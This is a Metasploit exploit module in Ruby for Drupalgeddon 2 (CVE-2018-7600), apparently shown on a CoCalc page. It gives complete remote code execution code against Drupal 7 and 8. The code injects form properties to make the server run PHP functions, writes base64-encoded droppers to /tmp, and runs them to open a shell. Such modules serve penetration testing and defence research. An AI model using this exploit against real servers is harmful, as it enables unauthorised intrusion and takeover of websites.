CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::HTTP::Drupal
11
  # XXX: CmdStager can't handle badchars
12
  include Msf::Exploit::PhpEXE
13
  include Msf::Exploit::FileDropper
14
  prepend Msf::Exploit::Remote::AutoCheck
15

16
  def initialize(info = {})
17
    super(update_info(info,
18
      'Name'           => 'Drupal Drupalgeddon 2 Forms API Property Injection',
19
      'Description'    => %q{
20
        This module exploits a Drupal property injection in the Forms API.
21

22
        Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
23
      },
24
      'Author'         => [
25
        'Jasper Mattsson', # Vulnerability discovery
26
        'a2u',             # Proof of concept (Drupal 8.x)
27
        'Nixawk',          # Proof of concept (Drupal 8.x)
28
        'FireFart',        # Proof of concept (Drupal 7.x)
29
        'wvu'              # Metasploit module
30
      ],
31
      'References'     => [
32
        ['CVE', '2018-7600'],
33
        ['URL', 'https://www.drupal.org/sa-core-2018-002'],
34
        ['URL', 'https://greysec.net/showthread.php?tid=2912'],
35
        ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
36
        ['URL', 'https://github.com/a2u/CVE-2018-7600'],
37
        ['URL', 'https://github.com/nixawk/labs/issues/19'],
38
        ['URL', 'https://github.com/FireFart/CVE-2018-7600']
39
      ],
40
      'DisclosureDate' => '2018-03-28',
41
      'License'        => MSF_LICENSE,
42
      'Platform'       => ['php', 'unix', 'linux'],
43
      'Arch'           => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
44
      'Privileged'     => false,
45
      'Payload'        => {'BadChars' => '&>\''},
46
      'Targets'        => [
47
        #
48
        # Automatic targets (PHP, cmd/unix, native)
49
        #
50
        ['Automatic (PHP In-Memory)',
51
          'Platform'   => 'php',
52
          'Arch'       => ARCH_PHP,
53
          'Type'       => :php_memory
54
        ],
55
        ['Automatic (PHP Dropper)',
56
          'Platform'   => 'php',
57
          'Arch'       => ARCH_PHP,
58
          'Type'       => :php_dropper
59
        ],
60
        ['Automatic (Unix In-Memory)',
61
          'Platform'   => 'unix',
62
          'Arch'       => ARCH_CMD,
63
          'Type'       => :unix_memory
64
        ],
65
        ['Automatic (Linux Dropper)',
66
          'Platform'   => 'linux',
67
          'Arch'       => [ARCH_X86, ARCH_X64],
68
          'Type'       => :linux_dropper
69
        ],
70
        #
71
        # Drupal 7.x targets (PHP, cmd/unix, native)
72
        #
73
        ['Drupal 7.x (PHP In-Memory)',
74
          'Platform'   => 'php',
75
          'Arch'       => ARCH_PHP,
76
          'Version'    => Rex::Version.new('7'),
77
          'Type'       => :php_memory
78
        ],
79
        ['Drupal 7.x (PHP Dropper)',
80
          'Platform'   => 'php',
81
          'Arch'       => ARCH_PHP,
82
          'Version'    => Rex::Version.new('7'),
83
          'Type'       => :php_dropper
84
        ],
85
        ['Drupal 7.x (Unix In-Memory)',
86
          'Platform'   => 'unix',
87
          'Arch'       => ARCH_CMD,
88
          'Version'    => Rex::Version.new('7'),
89
          'Type'       => :unix_memory
90
        ],
91
        ['Drupal 7.x (Linux Dropper)',
92
          'Platform'   => 'linux',
93
          'Arch'       => [ARCH_X86, ARCH_X64],
94
          'Version'    => Rex::Version.new('7'),
95
          'Type'       => :linux_dropper
96
        ],
97
        #
98
        # Drupal 8.x targets (PHP, cmd/unix, native)
99
        #
100
        ['Drupal 8.x (PHP In-Memory)',
101
          'Platform'   => 'php',
102
          'Arch'       => ARCH_PHP,
103
          'Version'    => Rex::Version.new('8'),
104
          'Type'       => :php_memory
105
        ],
106
        ['Drupal 8.x (PHP Dropper)',
107
          'Platform'   => 'php',
108
          'Arch'       => ARCH_PHP,
109
          'Version'    => Rex::Version.new('8'),
110
          'Type'       => :php_dropper
111
        ],
112
        ['Drupal 8.x (Unix In-Memory)',
113
          'Platform'   => 'unix',
114
          'Arch'       => ARCH_CMD,
115
          'Version'    => Rex::Version.new('8'),
116
          'Type'       => :unix_memory
117
        ],
118
        ['Drupal 8.x (Linux Dropper)',
119
          'Platform'   => 'linux',
120
          'Arch'       => [ARCH_X86, ARCH_X64],
121
          'Version'    => Rex::Version.new('8'),
122
          'Type'       => :linux_dropper
123
        ]
124
      ],
125
      'DefaultTarget'  => 0, # Automatic (PHP In-Memory)
126
      'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
127
      'Notes'          => {
128
        'Stability' => [CRASH_SAFE],
129
        'SideEffects' => [],
130
        'Reliability' => [],
131
        'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
132
    ))
133

134
    register_options([
135
      OptString.new('PHP_FUNC',  [true, 'PHP function to execute', 'passthru']),
136
      OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
137
    ])
138

139
    register_advanced_options([
140
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
141
    ])
142
  end
143

144
  def check
145
    checkcode = CheckCode::Unknown
146

147
    @version = target['Version'] || drupal_version
148

149
    unless @version
150
      vprint_error('Could not determine Drupal version to target')
151
      return checkcode
152
    end
153

154
    vprint_status("Drupal #{@version} targeted at #{full_uri}")
155
    checkcode = CheckCode::Detected
156

157
    changelog = drupal_changelog(@version)
158

159
    unless changelog
160
      vprint_error('Could not determine Drupal patch level')
161
      return checkcode
162
    end
163

164
    case drupal_patch(changelog, 'SA-CORE-2018-002')
165
    when nil
166
      vprint_warning('CHANGELOG.txt no longer contains patch level')
167
    when true
168
      vprint_warning('Drupal appears patched in CHANGELOG.txt')
169
      checkcode = CheckCode::Safe
170
    when false
171
      vprint_good('Drupal appears unpatched in CHANGELOG.txt')
172
      checkcode = CheckCode::Appears
173
    end
174

175
    # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
176
    token = rand_str
177
    res   = execute_command(token, func: 'printf')
178

179
    return checkcode unless res
180

181
    if res.body.start_with?(token)
182
      vprint_good('Drupal is vulnerable to code execution')
183
      checkcode = CheckCode::Vulnerable
184
    end
185

186
    checkcode
187
  end
188

189
  def exploit
190
    unless @version
191
      print_warning('Targeting Drupal 7.x as a fallback')
192
      @version = Rex::Version.new('7')
193
    end
194

195
    if datastore['PAYLOAD'] == 'cmd/unix/generic'
196
      print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
197
      # XXX: Naughty datastore modification
198
      datastore['DUMP_OUTPUT'] = true
199
    end
200

201
    # NOTE: assert() is attempted first, then PHP_FUNC if that fails
202
    case target['Type']
203
    when :php_memory
204
      execute_command(payload.encoded, func: 'assert')
205

206
      sleep(wfs_delay)
207
      return if session_created?
208

209
      # XXX: This will spawn a *very* obvious process
210
      execute_command("php -r '#{payload.encoded}'")
211
    when :unix_memory
212
      execute_command(payload.encoded)
213
    when :php_dropper, :linux_dropper
214
      dropper_assert
215

216
      sleep(wfs_delay)
217
      return if session_created?
218

219
      dropper_exec
220
    end
221
  end
222

223
  def dropper_assert
224
    php_file = Pathname.new(
225
      "#{datastore['WritableDir']}/#{rand_str}.php"
226
    ).cleanpath
227

228
    # Return the PHP payload or a PHP binary dropper
229
    dropper = get_write_exec_payload(
230
      writable_path: datastore['WritableDir'],
231
      unlink_self:   true # Worth a shot
232
    )
233

234
    # Encode away potential badchars with Base64
235
    dropper = Rex::Text.encode_base64(dropper)
236

237
    # Stage 1 decodes the PHP and writes it to disk
238
    stage1 = %Q{
239
      file_put_contents("#{php_file}", base64_decode("#{dropper}"));
240
    }
241

242
    # Stage 2 executes said PHP in-process
243
    stage2 = %Q{
244
      include_once("#{php_file}");
245
    }
246

247
    # :unlink_self may not work, so let's make sure
248
    register_file_for_cleanup(php_file)
249

250
    # Hopefully pop our shell with assert()
251
    execute_command(stage1.strip, func: 'assert')
252
    execute_command(stage2.strip, func: 'assert')
253
  end
254

255
  def dropper_exec
256
    php_file = "#{rand_str}.php"
257
    tmp_file = Pathname.new(
258
      "#{datastore['WritableDir']}/#{php_file}"
259
    ).cleanpath
260

261
    # Return the PHP payload or a PHP binary dropper
262
    dropper = get_write_exec_payload(
263
      writable_path: datastore['WritableDir'],
264
      unlink_self:   true # Worth a shot
265
    )
266

267
    # Encode away potential badchars with Base64
268
    dropper = Rex::Text.encode_base64(dropper)
269

270
    # :unlink_self may not work, so let's make sure
271
    register_file_for_cleanup(php_file)
272

273
    # Write the payload or dropper to disk (!)
274
    # NOTE: Analysis indicates > is a badchar for 8.x
275
    execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
276

277
    # Attempt in-process execution of our PHP script
278
    send_request_cgi(
279
      'method' => 'GET',
280
      'uri'    => normalize_uri(target_uri.path, php_file)
281
    )
282

283
    sleep(wfs_delay)
284
    return if session_created?
285

286
    # Try to get a shell with PHP CLI
287
    execute_command("php #{php_file}")
288

289
    sleep(wfs_delay)
290
    return if session_created?
291

292
    register_file_for_cleanup(tmp_file)
293

294
    # Fall back on our temp file
295
    execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
296
    execute_command("php #{tmp_file}")
297
  end
298

299
  def execute_command(cmd, opts = {})
300
    func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
301

302
    vprint_status("Executing with #{func}(): #{cmd}")
303

304
    res =
305
      case @version.to_s
306
      when /^7\b/
307
        exploit_drupal7(func, cmd)
308
      when /^8\b/
309
        exploit_drupal8(func, cmd)
310
      end
311

312
    return unless res
313

314
    if res.code == 200
315
      print_line(res.body) if datastore['DUMP_OUTPUT']
316
    else
317
      print_error("Unexpected reply: #{res.inspect}")
318
    end
319

320
    res
321
  end
322

323
  def exploit_drupal7(func, code)
324
    vars_get = {
325
      'q'                    => 'user/password',
326
      'name[#post_render][]' => func,
327
      'name[#markup]'        => code,
328
      'name[#type]'          => 'markup'
329
    }
330

331
    vars_post = {
332
      'form_id'                  => 'user_pass',
333
      '_triggering_element_name' => 'name'
334
    }
335

336
    res = send_request_cgi(
337
      'method'    => 'POST',
338
      'uri'       => normalize_uri(target_uri.path),
339
      'vars_get'  => vars_get,
340
      'vars_post' => vars_post
341
    )
342

343
    return res unless res && res.code == 200
344

345
    form_build_id = res.get_html_document.at(
346
      '//input[@name = "form_build_id"]/@value'
347
    )
348

349
    return res unless form_build_id
350

351
    vars_get = {
352
      'q' => "file/ajax/name/#value/#{form_build_id.value}"
353
    }
354

355
    vars_post = {
356
      'form_build_id' => form_build_id.value
357
    }
358

359
    send_request_cgi(
360
      'method'    => 'POST',
361
      'uri'       => normalize_uri(target_uri.path),
362
      'vars_get'  => vars_get,
363
      'vars_post' => vars_post
364
    )
365
  end
366

367
  def exploit_drupal8(func, code)
368
    # Clean URLs are enabled by default and "can't" be disabled
369
    uri = normalize_uri(target_uri.path, 'user/register')
370

371
    vars_get = {
372
      'element_parents' => 'account/mail/#value',
373
      'ajax_form'       => 1,
374
      '_wrapper_format' => 'drupal_ajax'
375
    }
376

377
    vars_post = {
378
      'form_id'              => 'user_register_form',
379
      '_drupal_ajax'         => 1,
380
      'mail[#type]'          => 'markup',
381
      'mail[#post_render][]' => func,
382
      'mail[#markup]'        => code
383
    }
384

385
    send_request_cgi(
386
      'method'    => 'POST',
387
      'uri'       => uri,
388
      'vars_get'  => vars_get,
389
      'vars_post' => vars_post
390
    )
391
  end
392

393
  def rand_str
394
    Rex::Text.rand_text_alphanumeric(8..42)
395
  end
396

397
end
398

399